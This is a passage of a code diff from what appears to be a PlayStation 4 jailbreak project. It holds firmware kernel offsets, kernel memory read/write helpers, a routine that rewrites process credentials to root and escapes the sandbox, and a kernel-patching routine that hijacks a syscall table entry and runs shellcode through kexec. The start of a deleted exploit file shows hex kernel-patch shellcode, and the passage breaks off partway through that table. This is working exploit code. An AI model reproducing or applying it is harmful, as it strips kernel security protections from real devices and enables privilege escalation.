offset_ps4_10_50, + '10.70': offset_ps4_10_50, + 10.71: offset_ps4_10_50, + '11.00': offset_ps4_11_00, + 11.02: offset_ps4_11_02, + '11.50': offset_ps4_11_50, + 11.52: offset_ps4_11_50, + '12.00': offset_ps4_12_00, + 12.02: offset_ps4_12_00, + '12.50': offset_ps4_12_50, + 12.51: offset_ps4_12_50, + '13.00': offset_ps4_12_50, +} + +let kernel_offset: (typeof ps4_kernel_offset_list[keyof typeof ps4_kernel_offset_list]) & { + PROC_FD?: number, + PROC_PID?: number, + PROC_VM_SPACE?: number, + PROC_UCRED?: number, + PROC_COMM?: number, + PROC_SYSENT?: number, + FILEDESC_OFILES?: number, + SIZEOF_OFILES?: number, + VMSPACE_VM_PMAP?: number, + PMAP_CR3?: number, + SO_PCB?: number, + INPCB_PKTOPTS?: number, + IP6PO_TCLASS?: number, + IP6PO_RTHDR?: number, +} | null = null // Global + +export function get_kernel_offset (FW_VERSION: string) { + const fw_offsets = ps4_kernel_offset_list[FW_VERSION as keyof typeof ps4_kernel_offset_list] + + if (!fw_offsets) { + throw new Error('Unsupported PS4 firmware version: ' + FW_VERSION) + } + + kernel_offset = fw_offsets + + // PS4-specific proc structure offsets + kernel_offset.PROC_FD = 0x48 + kernel_offset.PROC_PID = 0xB0 // PS4 = 0xB0, PS5 = 0xBC + kernel_offset.PROC_VM_SPACE = 0x200 + kernel_offset.PROC_UCRED = 0x40 + kernel_offset.PROC_COMM = -1 // Found dynamically + kernel_offset.PROC_SYSENT = -1 // Found dynamically + + // filedesc - PS4 different from PS5 + kernel_offset.FILEDESC_OFILES = 0x0 // PS4 = 0x0, PS5 = 0x8 + kernel_offset.SIZEOF_OFILES = 0x8 // PS4 = 0x8, PS5 = 0x30 + + // vmspace structure + kernel_offset.VMSPACE_VM_PMAP = -1 + + // pmap structure + kernel_offset.PMAP_CR3 = 0x28 + + // socket/net - PS4 specific + kernel_offset.SO_PCB = 0x18 + kernel_offset.INPCB_PKTOPTS = 0x118 // PS4 = 0x118, PS5 = 0x120 + + // pktopts structure - PS4 specific + kernel_offset.IP6PO_TCLASS = 0xB0 // PS4 = 0xB0, PS5 = 0xC0 + kernel_offset.IP6PO_RTHDR = 0x68 // PS4 = 0x68, PS5 = 0x70 + + return kernel_offset +} + +// Global kernel object to save information +// Also used in lapse.js + +export const kernel: { + addr: { + base?: BigInt, + curproc?: BigInt, + allproc?: BigInt, + curproc_fd?: BigInt, + curproc_ofiles?: BigInt, + inside_kdata?: BigInt, + }, + read_buffer: ((kaddr: BigInt, length: number) => Uint8Array | null) | null, + write_buffer: ((kaddr: BigInt, buffer: Uint8Array) => void) | null, + read_byte: (kaddr: BigInt) => number | null, + read_word: (kaddr: BigInt) => number | null, + read_dword: (kaddr: BigInt) => number | null, + read_qword: (kaddr: BigInt) => BigInt | null, + read_null_terminated_string: (kaddr: BigInt) => string, + write_byte: (dest: BigInt, value: number) => void, + write_word: (dest: BigInt, value: number) => void, + write_dword: (dest: BigInt, value: number) => void, + write_qword: (dest: BigInt, value: BigInt | number) => void, + copyout?: (kaddr: BigInt, uaddr: BigInt, len: BigInt) => void, + copyin?: (uaddr: BigInt, kaddr: BigInt, len: BigInt) => void +} = { + // Object used to sture kbase, curproc, allproc + addr: {}, + // We need to define these 2 functions in the exploit + read_buffer: null, + write_buffer: null, + read_byte: function (kaddr: BigInt) { + const value = kernel.read_buffer?.(kaddr, 1) + return value && value.length === 1 ? (value[0]!) : null + }, + read_word: function (kaddr: BigInt) { + const value = kernel.read_buffer?.(kaddr, 2) + if (!value || value.length !== 2) return null + return (value[0]!) | ((value[1]!) << 8) + }, + read_dword: function (kaddr: BigInt) { + const value = kernel.read_buffer?.(kaddr, 4) + if (!value || value.length !== 4) return null + let result = 0 + for (let i = 0; i < 4; i++) { + result |= ((value[i]!) << (i * 8)) + } + return result + }, + read_qword: function (kaddr: BigInt) { + const value = kernel.read_buffer?.(kaddr, 8) + if (!value || value.length !== 8) return null + let result_hi = 0 + let result_low = 0 + for (let i = 0; i < 4; i++) { + result_hi |= ((value[i + 4]!) << (i * 8)) + result_low |= ((value[i]!) << (i * 8)) + } + const result = new BigInt(result_hi, result_low) + return result + }, + read_null_terminated_string: function (kaddr: BigInt) { + let result = '' + + while (true) { + const chunk = kernel.read_buffer?.(kaddr, 0x8) + if (!chunk || chunk.length === 0) break + + let null_pos = -1 + for (let i = 0; i < chunk.length; i++) { + if (chunk[i] === 0) { + null_pos = i + break + } + } + + if (null_pos >= 0) { + if (null_pos > 0) { + for (let i = 0; i < null_pos; i++) { + result += String.fromCharCode(Number(chunk[i])) + } + } + return result + } + + for (let i = 0; i < chunk.length; i++) { + result += String.fromCharCode(Number(chunk[i])) + } + + kaddr = kaddr.add(chunk.length) + } + + return result + }, + write_byte: function (dest: BigInt, value: number) { + const buf = new Uint8Array(1) + buf[0] = Number(value & 0xFF) + kernel.write_buffer?.(dest, buf) + }, + write_word: function (dest: BigInt, value: number) { + const buf = new Uint8Array(2) + buf[0] = Number(value & 0xFF) + buf[1] = Number((value >> 8) & 0xFF) + kernel.write_buffer?.(dest, buf) + }, + write_dword: function (dest: BigInt, value: number) { + const buf = new Uint8Array(4) + for (let i = 0; i < 4; i++) { + buf[i] = Number((value >> (i * 8)) & 0xFF) + } + kernel.write_buffer?.(dest, buf) + }, + write_qword: function (dest: BigInt, value: BigInt | number) { + const buf = new Uint8Array(8) + value = value instanceof BigInt ? value : new BigInt(value) + + const val_hi = value.hi + const val_low = value.lo + + for (let i = 0; i < 4; i++) { + buf[i] = Number((val_low >> (i * 8))) & 0xFF + buf[i + 4] = Number((val_hi >> ((i + 4) * 8))) & 0xFF + } + kernel.write_buffer?.(dest, buf) + } +} + +// Helper functions +export function is_kernel_rw_available () { + return kernel.read_buffer && kernel.write_buffer +} + +export function check_kernel_rw () { + if (!is_kernel_rw_available()) { + throw new Error('kernel r/w is not available') + } +} + +export function write8 (addr: BigInt, val: number) { + mem.view(addr).setUint8(0, val & 0xFF) +} + +export function write16 (addr: BigInt, val: number) { + mem.view(addr).setUint16(0, val & 0xFFFF, true) +} + +export function write32 (addr: BigInt, val: number) { + mem.view(addr).setUint32(0, val & 0xFFFFFFFF, true) +} + +export function write64 (addr: BigInt, val: BigInt | number) { + mem.view(addr).setBigInt(0, new BigInt(val), true) +} + +export function read8 (addr: BigInt) { + return mem.view(addr).getUint8(0) +} + +export function read16 (addr: BigInt) { + return mem.view(addr).getUint16(0, true) +} + +export function read32 (addr: BigInt) { + return mem.view(addr).getUint32(0, true) +} + +export function read64 (addr: BigInt) { + return mem.view(addr).getBigInt(0, true) +} + +export function malloc (size: number) { + return mem.malloc(size) +} + +export function hex (val: BigInt | number) { + if (val instanceof BigInt) { return val.toString() } + return '0x' + val.toString(16).padStart(2, '0') +} + +export function send_notification (msg: string) { + utils.notify(msg) +} + +fn.register(0x0ca, 'sysctl', ['bigint', 'number', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint') +const sysctl = fn.sysctl + +export function sysctlbyname (name: string, oldp: BigInt | number, oldp_len: BigInt | number, newp: BigInt | number, newp_len: BigInt | number) { + const translate_name_mib = malloc(0x8) + const buf_size = 0x70 + const mib = malloc(buf_size) + const size = malloc(0x8) + + write64(translate_name_mib, new BigInt(0x3, 0x0)) + write64(size, buf_size) + + const name_addr = utils.cstr(name) + const name_len = new BigInt(name.length) + + if (sysctl(translate_name_mib, 2, mib, size, name_addr, name_len).eq(new BigInt(0xffffffff, 0xffffffff))) { + log('failed to translate sysctl name to mib (' + name + ')') + } + + oldp = typeof oldp === 'number' ? new BigInt(oldp) : oldp + oldp_len = typeof oldp_len === 'number' ? new BigInt(oldp_len) : oldp_len + newp = typeof newp === 'number' ? new BigInt(newp) : newp + newp_len = typeof newp_len === 'number' ? new BigInt(newp_len) : newp_len + + if (sysctl(mib, 2, oldp, oldp_len, newp, newp_len).eq(new BigInt(0xffffffff, 0xffffffff))) { + return false + } + + return true +} + +export function get_fwversion () { + const buf = malloc(0x8) + const size = malloc(0x8) + write64(size, 0x8) + if (sysctlbyname('kern.sdk_version', buf, size, 0, 0)) { + const byte1 = Number(read8(buf.add(2))) // Minor version (first byte) + const byte2 = Number(read8(buf.add(3))) // Major version (second byte) + + const version = byte2.toString(16) + '.' + byte1.toString(16).padStart(2, '0') + return version + } + + return null +} + +// Before calling this function we need to initialize +// kernel.addr.curproc +// kernel.addr.allproc +// kernel.addr.base + +fn.register(0x18, 'getuid', [], 'bigint') +fn.register(0x249, 'is_in_sandbox', [], 'bigint') +fn.register(477, 'mmap', ['bigint', 'number', 'number', 'number', 'bigint', 'number'], 'bigint') +fn.register(0x49, 'munmap', ['bigint', 'number'], 'bigint') +const getuid = fn.getuid +const is_in_sandbox = fn.is_in_sandbox +const mmap = fn.mmap +const munmap = fn.munmap + +export function jailbreak_shared (FW_VERSION: string) { + if (!kernel.addr.curproc || !kernel.addr.base || !kernel.addr.allproc) { + throw new Error('kernel.addr is not properly initialized') + } + if (!kernel_offset) { + throw new Error('kernel_offset is not initialized') + } + + const OFFSET_P_UCRED = 0x40 + const proc = kernel.addr.curproc + + const uid_before = Number(getuid()) + const sandbox_before = Number(is_in_sandbox()) + debug('BEFORE: uid=' + uid_before + ', sandbox=' + sandbox_before) + + // Patch ucred + const proc_fd = kernel.read_qword(proc.add(kernel_offset.PROC_FD!)) + const ucred = kernel.read_qword(proc.add(OFFSET_P_UCRED)) + + if (!proc_fd || !ucred) { + throw new Error('Failed to read proc_fd or ucred') + } + + kernel.write_dword(ucred.add(0x04), 0) // cr_uid + kernel.write_dword(ucred.add(0x08), 0) // cr_ruid + kernel.write_dword(ucred.add(0x0C), 0) // cr_svuid + kernel.write_dword(ucred.add(0x10), 1) // cr_ngroups + kernel.write_dword(ucred.add(0x14), 0) // cr_rgid + + const prison0 = kernel.read_qword(kernel.addr.base.add(kernel_offset.PRISON0)) + if (!prison0) { + throw new Error('Failed to read prison0') + } + kernel.write_qword(ucred.add(0x30), prison0) + + kernel.write_qword(ucred.add(0x60), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) // sceCaps + kernel.write_qword(ucred.add(0x68), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) + + const rootvnode = kernel.read_qword(kernel.addr.base.add(kernel_offset.ROOTVNODE)) + if (!rootvnode) { + throw new Error('Failed to read rootvnode') + } + kernel.write_qword(proc_fd.add(0x10), rootvnode) // fd_rdir + kernel.write_qword(proc_fd.add(0x18), rootvnode) // fd_jdir + + const uid_after = Number(getuid()) + const sandbox_after = Number(is_in_sandbox()) + debug('AFTER: uid=' + uid_after + ', sandbox=' + sandbox_after) + + if (uid_after === 0 && sandbox_after === 0) { + debug('Sandbox escape complete!') + } else { + debug('[WARNING] Sandbox escape may have failed') + } + + // === Apply kernel patches via kexec === + // Uses syscall_raw() which sets rax manually for syscalls without gadgets + debug('Applying kernel patches...') + const kpatch_result = apply_kernel_patches(FW_VERSION) + if (kpatch_result) { + debug('Kernel patches applied successfully!') + + // Comprehensive kernel patch verification + debug('Verifying kernel patches...') + let all_patches_ok = true + + // 1. Verify mmap RWX patch (0x33 -> 0x37 at two locations) + const mmap_offsets = get_mmap_patch_offsets(FW_VERSION) + if (mmap_offsets) { + const b1 = kernel.read_byte(kernel.addr.base.add(mmap_offsets[0]!)) + const b2 = kernel.read_byte(kernel.addr.base.add(mmap_offsets[1]!)) + if (b1 === 0x37 && b2 === 0x37) { + debug(' [OK] mmap RWX patch') + } else { + debug(' [FAIL] mmap RWX: [' + hex(mmap_offsets[0]!) + ']=' + hex(b1 ?? 0) + ' [' + hex(mmap_offsets[1]!) + ']=' + hex(b2 ?? 0)) + all_patches_ok = false + } + } else { + debug(' [SKIP] mmap RWX (no offsets for FW ' + FW_VERSION + ')') + } + + // 2. Test mmap RWX actually works by trying to allocate RWX memory + try { + const PROT_RWX = 0x7 // READ | WRITE | EXEC + const MAP_ANON = 0x1000 + const MAP_PRIVATE = 0x2 + const test_addr = mmap(new BigInt(0), 0x1000, PROT_RWX, MAP_PRIVATE | MAP_ANON, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0) + if (Number(test_addr.shr(32)) < 0xffff8000) { + debug(' [OK] mmap RWX functional @ ' + hex(test_addr)) + // Unmap the test allocation + munmap(test_addr, 0x1000) + } else { + debug(' [FAIL] mmap RWX functional: ' + hex(test_addr)) + all_patches_ok = false + } + } catch (e) { + debug(' [FAIL] mmap RWX test error: ' + (e as Error).message) + all_patches_ok = false + } + + if (all_patches_ok) { + debug('All kernel patches verified OK!') + } else { + debug('[WARNING] Some kernel patches may have failed') + } + } else { + debug('[WARNING] Kernel patches failed - continuing without patches') + } +} + +fn.register(0x215, 'jitshm_create', ['number', 'number', 'number'], 'bigint') +fn.register(0x295, 'kexec', ['bigint'], 'bigint') +const jitshm_create = fn.jitshm_create +const kexec = fn.kexec + +// Apply kernel patches via kexec using a single ROP chain +// This avoids returning to JS between critical operations +export function apply_kernel_patches (fw_version: string) { + try { + if (!kernel.addr.base) { + throw new Error('kernel.addr.base is not initialized') + } + if (!kernel_offset) { + throw new Error('kernel_offset is not initialized') + } + // Get shellcode for this firmware + const shellcode = get_kpatch_shellcode(fw_version) + if (!shellcode) { + debug('No kernel patch shellcode for FW ' + fw_version) + return false + } + + debug('Kernel patch shellcode: ' + shellcode.length + ' bytes') + + // Constants + const PROT_READ = 0x1 + const PROT_WRITE = 0x2 + const PROT_EXEC = 0x4 + const PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC + + const mapping_addr = new BigInt(0x9, 0x26100000) // Different from 0x920100000 to avoid conflicts + const aligned_memsz = 0x10000 + + // Get sysent[661] address and save original values + const sysent_661_addr = kernel.addr.base.add(kernel_offset.SYSENT_661) + debug('sysent[661] @ ' + hex(sysent_661_addr)) + + const sy_narg = kernel.read_dword(sysent_661_addr) + const sy_call = kernel.read_qword(sysent_661_addr.add(8)) + const sy_thrcnt = kernel.read_dword(sysent_661_addr.add(0x2C)) + + debug('Original sy_narg: ' + hex(sy_narg ?? 0)) + debug('Original sy_call: ' + hex(sy_call ?? 0)) + debug('Original sy_thrcnt: ' + hex(sy_thrcnt ?? 0)) + + if (!sy_narg || !sy_call || !sy_thrcnt) { + debug('ERROR: Failed to read original sysent[661] values') + return false + } + + // Calculate jmp rsi gadget address + const jmp_rsi_gadget = kernel.addr.base.add(kernel_offset.JMP_RSI_GADGET) + debug('jmp rsi gadget @ ' + hex(jmp_rsi_gadget)) + + // Allocate buffer for shellcode in userspace first + const shellcode_buf = malloc(shellcode.length + 0x100) + debug('Shellcode buffer @ ' + hex(shellcode_buf)) + + // Copy shellcode to userspace buffer + for (let i = 0; i < shellcode.length; i++) { + write8(shellcode_buf.add(i), shellcode[i]!) + } + + // Verify first bytes + const first_bytes = read32(shellcode_buf) + debug('First bytes @ shellcode: ' + hex(first_bytes)) + + // Hijack sysent[661] to point to jmp rsi gadget + debug('Hijacking sysent[661]...') + kernel.write_dword(sysent_661_addr, 2) // sy_narg = 2 + kernel.write_qword(sysent_661_addr.add(8), jmp_rsi_gadget) // sy_call = jmp rsi + kernel.write_dword(sysent_661_addr.add(0x2C), 1) // sy_thrcnt = 1 + debug('Hijacked sysent[661]') + + // Check if jitshm_create has a dedicated gadget + const jitshm_num = 0x215 // SYSCALL.jitshm_create = 0x215n; // 533 + const jitshm_gadget = syscalls.map.get(jitshm_num) + debug('jitshm_create gadget: ' + (jitshm_gadget ? hex(jitshm_gadget) : 'NOT FOUND')) + + // Try using the standard syscall() function if gadget exists + if (!jitshm_gadget) { + debug('ERROR: jitshm_create gadget not found in libkernel') + debug('Kernel patches require jitshm_create syscall support') + return false + } + + // 1. jitshm_create(0, aligned_memsz, PROT_RWX) + debug('Calling jitshm_create...') + + const exec_handle = jitshm_create(0, aligned_memsz, PROT_RWX) + debug('jitshm_create handle: ' + hex(exec_handle)) + + if (Number(exec_handle.shr(32)) >= 0xffff8000) { + debug('ERROR: jitshm_create failed') + kernel.write_dword(sysent_661_addr, sy_narg) + kernel.write_qword(sysent_661_addr.add(8), sy_call) + kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) + return false + } + + // 2. mmap(mapping_addr, aligned_memsz, PROT_RWX, MAP_SHARED|MAP_FIXED, exec_handle, 0) + debug('Calling mmap...') + + const mmap_result = mmap(mapping_addr, aligned_memsz, PROT_RWX, 0x11, exec_handle, 0) + debug('mmap result: ' + hex(mmap_result)) + + if (Number(mmap_result.shr(32)) >= 0xffff8000) { + debug('ERROR: mmap failed') + kernel.write_dword(sysent_661_addr, sy_narg) + kernel.write_qword(sysent_661_addr.add(8), sy_call) + kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) + return false + } + + // 3. Copy shellcode to mapped memory + debug('Copying shellcode to ' + hex(mapping_addr) + '...') + for (let j = 0; j < shellcode.length; j++) { + write8(mapping_addr.add(j), shellcode[j]!) + } + + // Verify + const verify_bytes = read32(mapping_addr) + debug('First bytes @ mapped: ' + hex(verify_bytes)) + + // 4. kexec(mapping_addr) - syscall 661, hijacked to jmp rsi + debug('Calling kexec...') + + const kexec_result = kexec(mapping_addr) + debug('kexec returned: ' + hex(kexec_result)) + + // === Verify 12.00 kernel patches === + if (fw_version === '12.00' || fw_version === '12.02') { + debug('Verifying 12.00 kernel patches...') + let patch_errors = 0 + + // Patch offsets and expected values for 12.00 + const patches_to_verify = [ + { off: 0x1b76a3, exp: 0x04eb, name: 'dlsym_check1', size: 2 }, + { off: 0x1b76b3, exp: 0x04eb, name: 'dlsym_check2', size: 2 }, + { off: 0x1b76d3, exp: 0xe990, name: 'dlsym_check3', size: 2 }, + { off: 0x627af4, exp: 0x00eb, name: 'veriPatch', size: 2 }, + { off: 0xacd, exp: 0xeb, name: 'bcopy', size: 1 }, + { off: 0x2bd3cd, exp: 0xeb, name: 'bzero', size: 1 }, + { off: 0x2bd411, exp: 0xeb, name: 'pagezero', size: 1 }, + { off: 0x2bd48d, exp: 0xeb, name: 'memcpy', size: 1 }, + { off: 0x2bd4d1, exp: 0xeb, name: 'pagecopy', size: 1 }, + { off: 0x2bd67d, exp: 0xeb, name: 'copyin', size: 1 }, + { off: 0x2bdb2d, exp: 0xeb, name: 'copyinstr', size: 1 }, + { off: 0x2bdbfd, exp: 0xeb, name: 'copystr', size: 1 }, + { off: 0x6283df, exp: 0x00eb, name: 'sysVeri_suspend', size: 2 }, + { off: 0x490, exp: 0x00, name: 'syscall_check', size: 4 }, + { off: 0x4c2, exp: 0xeb, name: 'syscall_jmp1', size: 1 }, + { off: 0x4b9, exp: 0x00eb, name: 'syscall_jmp2', size: 2 }, + { off: 0x4b5, exp: 0x00eb, name: 'syscall_jmp3', size: 2 }, + { off: 0x3914e6, exp: 0xeb, name: 'setuid', size: 1 }, + { off: 0x2fc0ec, exp: 0x04eb, name: 'vm_map_protect', size: 2 }, + { off: 0x1b7164, exp: 0xe990, name: 'dynlib_load_prx', size: 2 }, + { off: 0x1fa71a, exp: 0x37, name: 'mmap_rwx1', size: 1 }, + { off: 0x1fa71d, exp: 0x37, name: 'mmap_rwx2', size: 1 }, + { off: 0x1102d80, exp: 0x02, name: 'sysent11_narg', size: 4 }, + { off: 0x1102dac, exp: 0x01, name: 'sysent11_thrcnt', size: 4 }, + ] + + for (const p of patches_to_verify) { + let actual + if (p.size === 1) { + actual = Number(kernel.read_byte(kernel.addr.base.add(p.off))) + } else if (p.size === 2) { + actual = Number(kernel.read_word(kernel.addr.base.add(p.off))) + } else { + actual = Number(kernel.read_dword(kernel.addr.base.add(p.off))) + } + + if (actual === p.exp) { + debug(' [OK] ' + p.name) + } else { + debug(' [FAIL] ' + p.name + ': expected ' + hex(p.exp) + ', got ' + hex(actual)) + patch_errors++ + } + } + + // Special check for sysent[11] sy_call - should point to jmp [rsi] gadget + const sysent11_call = kernel.read_qword(kernel.addr.base.add(0x1102d88)) + const expected_gadget = kernel.addr.base.add(0x47b31) + if (sysent11_call && sysent11_call.eq(expected_gadget)) { + debug(' [OK] sysent11_call -> jmp_rsi @ ' + hex(sysent11_call)) + } else { + debug(' [FAIL] sysent11_call: expected ' + hex(expected_gadget) + ', got ' + hex(sysent11_call ?? 0)) + patch_errors++ + } + + if (patch_errors === 0) { + debug('All 12.00 kernel patches verified OK!') + } else { + debug('[WARNING] ' + patch_errors + ' kernel patches failed!') + } + } + + // Restore original sysent[661] + debug('Restoring sysent[661]...') + kernel.write_dword(sysent_661_addr, sy_narg) + kernel.write_qword(sysent_661_addr.add(8), sy_call) + kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) + debug('Restored sysent[661]') + + debug('Kernel patches applied!') + + return true + } catch (e) { + debug('apply_kernel_patches error: ' + (e as Error).message) + debug((e as Error).stack ?? '') + return false + } +} diff --git a/src/download0/languages.js b/src/download0/languages.ts similarity index 63% rename from src/download0/languages.js rename to src/download0/languages.ts index 33cb62a..e7d65e6 100644 --- a/src/download0/languages.js +++ b/src/download0/languages.ts @@ -1,9 +1,27 @@ // Language translations // Detected locale: jsmaf.locale -var lang = {} +export const lang = { + jailbreak: 'Jailbreak', + payloadMenu: 'Payload Menu', + config: 'Config', + exit: 'Exit', + back: 'Back', + autoLapse: 'Auto Lapse', + autoPoop: 'Auto Poop', + autoClose: 'Auto Close', + totalAttempts: 'Total Attempts: ', + successes: 'Successes: ', + failures: 'Failures: ', + successRate: 'Success Rate: ', + failureRate: 'Failure Rate: ', + loadingMainMenu: 'Loading main menu...', + mainMenuLoaded: 'Main menu loaded', + loadingConfig: 'Loading config UI...', + configLoaded: 'Config UI loaded' +} -var detectedLocale = jsmaf.locale || 'en' +const detectedLocale = jsmaf.locale || 'en' log('Detected locale: ' + detectedLocale) switch (detectedLocale) { @@ -27,69 +45,69 @@ switch (detectedLocale) { lang.loadingConfig = 'Cargando configuracion...' lang.configLoaded = 'Configuracion cargada' break -//vue doesnt have these locales in the fonts for asian and arabic languages. need to figure out how to load custom font . please reference /app0/assets/font/ for examples - //~ case 'ar': - //~ // Arabic - //~ lang.jailbreak = 'Jailbreak' - //~ lang.payloadMenu = 'قائمة الحمولات' - //~ lang.config = 'الاعدادات' - //~ lang.exit = 'خروج' - //~ lang.back = 'رجوع' - //~ lang.autoLapse = 'Auto Lapse' - //~ lang.autoPoop = 'Auto Poop' - //~ lang.autoClose = 'اغلاق تلقائي' - //~ lang.totalAttempts = 'اجمالي المحاولات: ' - //~ lang.successes = 'النجاحات: ' - //~ lang.failures = 'الاخفاقات: ' - //~ lang.successRate = 'معدل النجاح: ' - //~ lang.failureRate = 'معدل الفشل: ' - //~ lang.loadingMainMenu = '...جاري تحميل القائمة الرئيسية' - //~ lang.mainMenuLoaded = 'تم تحميل القائمة الرئيسية' - //~ lang.loadingConfig = '...جاري تحميل الاعدادات' - //~ lang.configLoaded = 'تم تحميل الاعدادات' - //~ break + // vue doesnt have these locales in the fonts for asian and arabic languages. need to figure out how to load custom font . please reference /app0/assets/font/ for examples + // ~ case 'ar': + // ~ // Arabic + // ~ lang.jailbreak = 'Jailbreak' + // ~ lang.payloadMenu = 'قائمة الحمولات' + // ~ lang.config = 'الاعدادات' + // ~ lang.exit = 'خروج' + // ~ lang.back = 'رجوع' + // ~ lang.autoLapse = 'Auto Lapse' + // ~ lang.autoPoop = 'Auto Poop' + // ~ lang.autoClose = 'اغلاق تلقائي' + // ~ lang.totalAttempts = 'اجمالي المحاولات: ' + // ~ lang.successes = 'النجاحات: ' + // ~ lang.failures = 'الاخفاقات: ' + // ~ lang.successRate = 'معدل النجاح: ' + // ~ lang.failureRate = 'معدل الفشل: ' + // ~ lang.loadingMainMenu = '...جاري تحميل القائمة الرئيسية' + // ~ lang.mainMenuLoaded = 'تم تحميل القائمة الرئيسية' + // ~ lang.loadingConfig = '...جاري تحميل الاعدادات' + // ~ lang.configLoaded = 'تم تحميل الاعدادات' + // ~ break - //~ case 'ko': - //~ // Korean - //~ lang.jailbreak = '탈옥' - //~ lang.payloadMenu = '페이로드 메뉴' - //~ lang.config = '설정' - //~ lang.exit = '종료' - //~ lang.back = '뒤로' - //~ lang.autoLapse = '자동 Lapse' - //~ lang.autoPoop = '자동 Poop' - //~ lang.autoClose = '자동 닫기' - //~ lang.totalAttempts = '총 시도: ' - //~ lang.successes = '성공: ' - //~ lang.failures = '실패: ' - //~ lang.successRate = '성공률: ' - //~ lang.failureRate = '실패율: ' - //~ lang.loadingMainMenu = '메인 메뉴 로딩중...' - //~ lang.mainMenuLoaded = '메인 메뉴 로딩 완료' - //~ lang.loadingConfig = '설정 로딩중...' - //~ lang.configLoaded = '설정 로딩 완료' - //~ break + // ~ case 'ko': + // ~ // Korean + // ~ lang.jailbreak = '탈옥' + // ~ lang.payloadMenu = '페이로드 메뉴' + // ~ lang.config = '설정' + // ~ lang.exit = '종료' + // ~ lang.back = '뒤로' + // ~ lang.autoLapse = '자동 Lapse' + // ~ lang.autoPoop = '자동 Poop' + // ~ lang.autoClose = '자동 닫기' + // ~ lang.totalAttempts = '총 시도: ' + // ~ lang.successes = '성공: ' + // ~ lang.failures = '실패: ' + // ~ lang.successRate = '성공률: ' + // ~ lang.failureRate = '실패율: ' + // ~ lang.loadingMainMenu = '메인 메뉴 로딩중...' + // ~ lang.mainMenuLoaded = '메인 메뉴 로딩 완료' + // ~ lang.loadingConfig = '설정 로딩중...' + // ~ lang.configLoaded = '설정 로딩 완료' + // ~ break - //~ case 'ja': - //~ // Japanese - //~ lang.jailbreak = '脱獄' - //~ lang.payloadMenu = 'ペイロードメニュー' - //~ lang.config = '設定' - //~ lang.exit = '終了' - //~ lang.back = '戻る' - //~ lang.autoLapse = '自動Lapse' - //~ lang.autoPoop = '自動Poop' - //~ lang.autoClose = '自動終了' - //~ lang.totalAttempts = '試行回数: ' - //~ lang.successes = '成功: ' - //~ lang.failures = '失敗: ' - //~ lang.successRate = '成功率: ' - //~ lang.failureRate = '失敗率: ' - //~ lang.loadingMainMenu = 'メインメニュー読み込み中...' - //~ lang.mainMenuLoaded = 'メインメニュー読み込み完了' - //~ lang.loadingConfig = '設定読み込み中...' - //~ lang.configLoaded = '設定読み込み完了' - //~ break + // ~ case 'ja': + // ~ // Japanese + // ~ lang.jailbreak = '脱獄' + // ~ lang.payloadMenu = 'ペイロードメニュー' + // ~ lang.config = '設定' + // ~ lang.exit = '終了' + // ~ lang.back = '戻る' + // ~ lang.autoLapse = '自動Lapse' + // ~ lang.autoPoop = '自動Poop' + // ~ lang.autoClose = '自動終了' + // ~ lang.totalAttempts = '試行回数: ' + // ~ lang.successes = '成功: ' + // ~ lang.failures = '失敗: ' + // ~ lang.successRate = '成功率: ' + // ~ lang.failureRate = '失敗率: ' + // ~ lang.loadingMainMenu = 'メインメニュー読み込み中...' + // ~ lang.mainMenuLoaded = 'メインメニュー読み込み完了' + // ~ lang.loadingConfig = '設定読み込み中...' + // ~ lang.configLoaded = '設定読み込み完了' + // ~ break case 'pt': // Portuguese @@ -240,24 +258,7 @@ switch (detectedLocale) { case 'en': default: - // English (default) - lang.jailbreak = 'Jailbreak' - lang.payloadMenu = 'Payload Menu' - lang.config = 'Config' - lang.exit = 'Exit' - lang.back = 'Back' - lang.autoLapse = 'Auto Lapse' - lang.autoPoop = 'Auto Poop' - lang.autoClose = 'Auto Close' - lang.totalAttempts = 'Total Attempts: ' - lang.successes = 'Successes: ' - lang.failures = 'Failures: ' - lang.successRate = 'Success Rate: ' - lang.failureRate = 'Failure Rate: ' - lang.loadingMainMenu = 'Loading main menu...' - lang.mainMenuLoaded = 'Main menu loaded' - lang.loadingConfig = 'Loading config UI...' - lang.configLoaded = 'Config UI loaded' + // English (default) which is already set break } diff --git a/src/download0/lapse.js b/src/download0/lapse.js deleted file mode 100755 index 80981e3..0000000 --- a/src/download0/lapse.js +++ /dev/null @@ -1,2933 +0,0 @@ -/** *** kernel_offset.js *****/ - -// PS4 Kernel Offsets for Lapse exploit -// Source: https://github.com/Helloyunho/yarpe/blob/main/payloads/lapse.py - -// Kernel patch shellcode (hex strings) - patches security checks in kernel -// These are executed via kexec after jailbreak to enable full functionality -const kpatch_shellcode = { - '5.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB04000041B890E9FFFF4881C2A0320100C681BD0A0000EBC6816DA31E00EBC681B1A31E00EBC6812DA41E00EBC68171A41E00EBC6810DA61E00EBC6813DAA1E00EBC681FDAA1E00EBC7819304000000000000C681C5040000EB668981BC0400006689B1B8040000C6817D4A0500EB6689B9F83A1A00664489812A7E2300C78150232B004831C0C3C68110D5130037C68113D5130037C78120C807010200000048899128C80701C7814CC80701010000000F20C0480D000001000F22C031C0C3', - 5.03: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB04000041B890E9FFFF4881C2A0320100C681BD0A0000EBC6817DA41E00EBC681C1A41E00EBC6813DA51E00EBC68181A51E00EBC6811DA71E00EBC6814DAB1E00EBC6810DAC1E00EBC7819304000000000000C681C5040000EB668981BC0400006689B1B8040000C6817D4A0500EB6689B9083C1A00664489813A7F2300C78120262B004831C0C3C68120D6130037C68123D6130037C78120C807010200000048899128C80701C7814CC80701010000000F20C0480D000001000F22C031C0C3', - '5.50': 